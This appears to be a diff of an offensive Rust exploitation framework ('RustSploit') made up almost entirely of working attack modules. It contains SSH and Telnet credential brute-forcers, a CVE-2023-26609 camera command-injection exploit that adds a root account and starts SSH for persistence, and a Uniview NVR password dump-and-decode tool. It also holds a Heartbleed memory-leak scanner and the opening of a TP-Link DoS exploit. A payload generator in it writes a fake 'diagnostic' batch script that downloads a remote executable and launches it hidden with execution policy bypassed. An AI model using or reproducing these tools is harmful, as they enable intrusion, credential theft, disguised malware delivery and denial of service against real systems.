let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ssh_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let addr = addr.to_string();
let user = user.to_string();
let pass = pass.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr) {
Ok(tcp) => {
let mut sess = Session::new()?; // ✅ fixed here
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user, &pass) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
})
.await??;
Ok(result)
}
// === Utility Functions ===
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -0,0 +1,217 @@
use anyhow::{Result, Context};
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::sync::{Arc, Mutex};
use telnet::Event;
use threadpool::ThreadPool;
use crossbeam_channel::{unbounded};
use telnet::Telnet;
pub async fn run(target: &str) -> Result<()> {
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
let target = target.to_string();
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = TelnetBruteforceConfig {
target,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_telnet_bruteforce(config)
}
#[derive(Clone)]
struct TelnetBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let addr = format!("{}:{}", config.target, config.port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address")?
.next()
.context("Unable to resolve target address")?;
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
let creds = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for user in &usernames {
for pass in &passwords {
tx.send((user.clone(), pass.clone()))?;
}
}
} else {
if usernames.len() == 1 {
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
} else if passwords.len() == 1 {
for user in &usernames {
tx.send((user.clone(), passwords[0].clone()))?;
}
} else {
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
}
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let creds = Arc::clone(&creds);
let config = config.clone();
pool.execute(move || {
while let Ok((username, password)) = rx.recv() {
if *stop_flag.lock().unwrap() {
break;
}
if config.verbose {
println!("[*] Trying {}:{}", username, password);
}
match try_telnet_login(&addr, &username, &password) {
Ok(true) => {
println!("[+] Valid credentials: {}:{}", username, password);
creds.lock().unwrap().push((username, password));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
break;
}
}
Ok(false) => {}
Err(e) => {
if config.verbose {
eprintln!("[!] Error: {}", e);
}
}
}
}
});
}
pool.join();
let creds = creds.lock().unwrap();
if creds.is_empty() {
println!("[-] No valid credentials found.");
} else {
println!("\n[+] Found credentials:");
for (u, p) in creds.iter() {
println!(" - {}:{}", u, p);
}
let save = prompt("\n[?] Save credentials to file? (y/n): ");
if save.trim().eq_ignore_ascii_case("y") {
let filename = prompt("Enter filename to save: ");
if let Err(e) = save_results(&filename, &creds) {
eprintln!("[!] Failed to save results: {}", e);
} else {
println!("[+] Results saved to '{}'", filename);
}
}
}
Ok(())
}
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
let mut connection = Telnet::connect((addr, 23), 256)
.context("Failed to connect to Telnet server")?;
let mut login_prompt_seen = false;
let mut pass_prompt_seen = false;
for _ in 0..10 {
let event = connection.read().context("Failed to read from Telnet")?;
match event {
Event::Data(buffer) => {
let output = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_prompt_seen = true;
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_prompt_seen = true;
} else if pass_prompt_seen {
// Look for signs of successful or failed login
if output.contains("incorrect")
|| output.contains("failed")
|| output.contains("denied")
{
return Ok(false);
} else if output.contains("last login")
|| output.contains("$")
|| output.contains("welcome")
|| output.contains("#")
{
return Ok(true);
}
}
}
_ => {}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u, p) in creds {
writeln!(file, "{}:{}", u, p)?;
}
Ok(())
}
fn prompt(message: &str) -> String {
print!("{}", message);
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
input.trim().to_string()
}
+2 -1
View File
@@ -1 +1,2 @@
pub mod sample_cred_check;
pub mod generic; // <-- lowercase folder name
pub mod camera;
@@ -0,0 +1,126 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{Result, anyhow};
use reqwest::Client;
use std::io::{self, Write};
/// // Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
// // ABUS Security Camera LFI
let url = format!(
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
target, filepath
);
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Body:\n{}", body);
Ok(())
}
/// // Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
// // ABUS Security Camera RCE
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
target, cmd
);
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Body:\n{}", body);
Ok(())
}
/// // Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
// // /etc/dropbear/dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
/// // Stage 2: Add root user with known password hash
async fn inject_root_user(client: &Client, target: &str) -> Result<()> {
// // echo d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh >> /etc/passwd
let cmd = "echo%20d1g:OmE2EUpLJafIk:0:0:root:/:/bin/sh%20>>%20/etc/passwd";
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, cmd).await
}
/// // Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
// // /etc/dropbear/dropbear -E -F
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
/// // Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str) -> Result<()> {
generate_ssh_key(client, target).await?;
inject_root_user(client, target).await?;
start_dropbear(client, target).await?;
println!("[+] Persistence complete! Try logging in:");
println!(" sshpass -p <PASSWORD> ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa d1g@{}", target);
Ok(())
}
/// // Prompt user for LFI, RCE, or SSH and execute accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Exploit mode selection for target: {}", target);
println!("[1] LFI");
println!("[2] RCE");
println!("[3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
match choice {
"1" => {
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut filepath = String::new();
io::stdin().read_line(&mut filepath)?;
exploit_lfi(&client, target, filepath.trim()).await?;
}
"2" => {
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut command = String::new();
io::stdin().read_line(&mut command)?;
exploit_rce(&client, target, command.trim()).await?;
}
"3" => {
persist_root_shell(&client, target).await?;
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
}
/// // Entry point for the exploit module used by the dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
@@ -0,0 +1,93 @@
use anyhow::{Result};
use reqwest::Client;
use std::io::{self, Write};
use md5;
/// // Send a command using the vulnerable RCE endpoint
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
let url = format!(
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
target, cmd
);
println!("[*] Sending RCE payload: {}", cmd);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
println!("[+] Status: {}", status);
println!("[+] Response:\n{}", body);
Ok(())
}
/// // Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("[*] Generating Dropbear SSH key...");
exploit_rce(client, target, cmd).await
}
/// // Inject a root user with a hashed password into /etc/passwd
async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> {
let payload = format!(
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("[*] Injecting user '{}' with root privileges...", user);
exploit_rce(client, target, &payload).await
}
/// // Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("[*] Starting Dropbear SSH daemon...");
exploit_rce(client, target, cmd).await
}
/// // Generate simple MD5(password) as hash for dropbear user
fn generate_md5_hash(password: &str) -> String {
let digest = md5::compute(password.as_bytes());
format!("{:x}", digest)
}
/// // Interactive shell logic
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
println!("[*] Dropbear SSH persistence for target: {}", target);
print!("Enter username to inject: ");
io::stdout().flush()?;
let mut user = String::new();
io::stdin().read_line(&mut user)?;
let user = user.trim();
print!("Enter password (will be hashed): ");
io::stdout().flush()?;
let mut pass = String::new();
io::stdin().read_line(&mut pass)?;
let pass = pass.trim();
let hash = generate_md5_hash(pass);
println!("[*] Generated hash: {}", hash);
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!("\n[+] Done. Try connecting with:");
println!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
);
Ok(())
}
/// // Dispatcher entrypoint
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
+9
View File
@@ -0,0 +1,9 @@
pub mod uniview_nvr_pwd_disclosure;
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
// pub mod
@@ -0,0 +1,147 @@
use anyhow::{anyhow, Context, Result};
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77", "1"), ("78", "2"), ("79", "3"), ("72", "4"), ("73", "5"), ("74", "6"),
("75", "7"), ("68", "8"), ("69", "9"), ("76", "0"), ("93", "!"), ("60", "@"),
("95", "#"), ("88", "$"), ("89", "%"), ("34", "^"), ("90", "&"), ("86", "*"),
("84", "("), ("85", ")"), ("81", "-"), ("35", "_"), ("65", "="), ("87", "+"),
("83", "/"), ("32", "\\"), ("0", "|"), ("80", ","), ("70", ":"), ("71", ";"),
("7", "{"), ("1", "}"), ("82", "."), ("67", "?"), ("64", "<"), ("66", ">"),
("2", "~"), ("39", "["), ("33", "]"), ("94", "\""), ("91", "'"), ("28", "`"),
("61", "A"), ("62", "B"), ("63", "C"), ("56", "D"), ("57", "E"), ("58", "F"),
("59", "G"), ("52", "H"), ("53", "I"), ("54", "J"), ("55", "K"), ("48", "L"),
("49", "M"), ("50", "N"), ("51", "O"), ("44", "P"), ("45", "Q"), ("46", "R"),
("47", "S"), ("40", "T"), ("41", "U"), ("42", "V"), ("43", "W"), ("36", "X"),
("37", "Y"), ("38", "Z"), ("29", "a"), ("30", "b"), ("31", "c"), ("24", "d"),
("25", "e"), ("26", "f"), ("27", "g"), ("20", "h"), ("21", "i"), ("22", "j"),
("23", "k"), ("16", "l"), ("17", "m"), ("18", "n"), ("19", "o"), ("12", "p"),
("13", "q"), ("14", "r"), ("15", "s"), ("8", "t"), ("9", "u"), ("10", "v"),
("11", "w"), ("4", "x"), ("5", "y"), ("6", "z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
pub async fn run(target: &str) -> Result<()> {
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
// Ensure the target has a proper scheme
let target = if target.starts_with("http://") || target.starts_with("https://") {
target.to_string()
} else {
format!("http://{}", target)
};
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()
.context("Failed to build HTTP client")?;
println!("[+] Getting model name and software version...");
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_resp = client.get(&version_url).send().await?;
let version_text = version_resp.text().await?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open success.txt log file")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
println!("\n[+] Getting configuration file...");
let config_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", target);
let config_resp = client.get(&config_url).send().await?;
let config_text = config_resp.text().await?;
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut total_users = 0;
println!("\n[+] Extracting users' hashes and decoding reversible strings:\n");
println!("User\t\t|\tHash\t\t\t\t\t|\tPassword");
println!("_____________________________________________________________________________");
writeln!(log, "\nUser\t\t|\tHash\t\t\t\t\t|\tPassword").ok();
writeln!(log, "_____________________________________________________________________________").ok();
loop {
match reader.read_event() {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut userpass = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => {
username = std::str::from_utf8(&attr.value)?.to_string();
}
k if k == QName(b"UserPass") => {
userpass = std::str::from_utf8(&attr.value)?.to_string();
}
k if k == QName(b"RvsblePass") => {
revpass = std::str::from_utf8(&attr.value)?.to_string();
}
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{:<12}|\t{:<34}|\t{}", username, userpass, decoded);
writeln!(log, "{:<12}|\t{:<34}|\t{}", username, userpass, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
}
println!("\n[+] Number of users found: {}", total_users);
writeln!(log, "\n[+] Number of users found: {}", total_users).ok();
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.\n");
writeln!(log, "*Note: 'default' and 'HAUser' users may not be accessible remotely.\n").ok();
Ok(())
}
+159
View File
@@ -0,0 +1,159 @@
use anyhow::{Context, Result};
use std::fs::File;
use std::io::Write;
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
run_with_port(target, 443).await
}
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
println!("[*] Connecting to {}:{}...", target, port);
let addr = format!("{}:{}", target, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
}
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", target.replace(":", "_"));
let path = Path::new(&filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(&leak[..n])
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&vec![0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1); // Compression methods length
hello.push(0); // No compression
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01); // Extension data
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' | b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
+1
View File
@@ -0,0 +1 @@
pub mod heartbleed;
+7
View File
@@ -1 +1,8 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod camera;
pub mod router;
pub mod ssh;
pub mod spotube;
+1
View File
@@ -0,0 +1 @@
pub mod payloadgenbat;
@@ -0,0 +1,133 @@
//! Build a twostage prank/diagnostic BAT script with stealth download & run.
//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
use anyhow::{Context, Result};
use std::fs;
use std::io::{self, Write};
/// Read a trimmed line from stdin
fn prompt(msg: &str) -> Result<String> {
print!("{msg}");
io::stdout().flush().ok();
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_owned())
}
/// Build the BAT contents (injecting URL & PS1 filename)
fn build_script(url: &str, ps1_name: &str) -> String {
// Template with placeholders {{URL}} and {{OUTFILE}}
let tpl = r#"@echo off
setlocal enabledelayedexpansion
title [管理者診断ユーティリティ]
color 0A
echo =====================================================
echo 管理者用ネットワーク/システム診断ユーティリティ
echo =====================================================
echo [+] 初期化中...
timeout /t 2 >nul
:: Fake diagnostic functions
echo [INFO] ネットワークスタック確認中...
netsh winsock show catalog >nul
echo [INFO] システムリソースの照会...
fsutil behavior query DisableDeleteNotify >nul
echo [INFO] DCOM設定の確認...
dcomcnfg /32 >nul
timeout /t 1 >nul
echo [INFO] ユーザーアクティビティを確認中...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
timeout /t 1 >nul
echo [INFO] 不審な接続をスキャン中...
netstat -bno >nul
route print >nul
timeout /t 1 >nul
echo [INFO] システムサービス確認中...
sc queryex type= service >nul
timeout /t 1 >nul
echo [INFO] WMI チェック中...
wmic logicaldisk get caption,filesystem,freespace,size >nul
timeout /t 1 >nul
:: 50x random sub-sleeps
echo [*] 詳細検証を実行中... (50 ステップ)
for /l %%i in (1,1,50) do (
set /a delay=(%%RANDOM%% %% 60) + 120
powershell -Command "Start-Sleep -Milliseconds !delay!"
)
:: Random delay before launching stage 2
set /a mainDelay=(%%RANDOM%% %% 4) + 3
echo [INFO] 補助診断モジュールを準備中... (%%mainDelay%% 秒後に実行)
timeout /t %%mainDelay%% >nul
:: Build second stage BAT (stage2.bat)
set "stage2=%%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo title 補助診断モジュール
echo echo [*] ネットワークテストを再実行中...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo timeout /t 2 ^>nul
echo echo [*] ランダム遅延を実行中...
echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
echo timeout /t !delay2! ^>nul
echo echo [*] GitHub からモジュールを取得中...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command ^
"try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
"try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
echo timeout /t 2 ^>nul
echo echo [*] ステルス起動用VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell"^)
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
echo ^) ^> "%%~dp0launch_hidden.vbs"
echo timeout /t 1 ^>nul
echo echo [*] スクリプト実行中...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo echo [*] 補助診断完了。
) > "%%stage2%%"
:: Random delay before running stage 2
set /a rdelay=(%%RANDOM%% %% 5) + 2
echo [INFO] stage2.bat を %%rdelay%% 秒後に実行します...
timeout /t %%rdelay%% >nul
:: Run stage2
call "%%stage2%%"
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
}
/// Public entry point for the exploit dispatcher
pub async fn run(_target: &str) -> Result<()> {
// === Gather inputs ====================================================
let out_bat = prompt("[+] Output BAT filename : ")?;
let raw_url = prompt("[+] GitHub raw .EXE URL : ")?;
let ps1_name = prompt("[+] Disguised PowerShell name : ")?;
// === Generate script ===================================================
let script = build_script(&raw_url, &ps1_name);
fs::write(&out_bat, script)
.with_context(|| format!("Could not write {}", out_bat))?;
println!("\n[+] Batch script saved to: {out_bat}");
Ok(())
}
+2
View File
@@ -0,0 +1,2 @@
pub mod tp_link_vn020_dos;
pub mod tplink_wr740n_dos;
@@ -0,0 +1,117 @@
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
// Exploit Author: Mohamed Maatallah
// Ported to Rust
use anyhow::{Context, Result};
use reqwest::Client;
use std::io::{self, BufRead};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::thread;
use std::time::Duration;
use tokio::join;
/// Send the malformed AddPortMapping SOAP request (PoC 1)
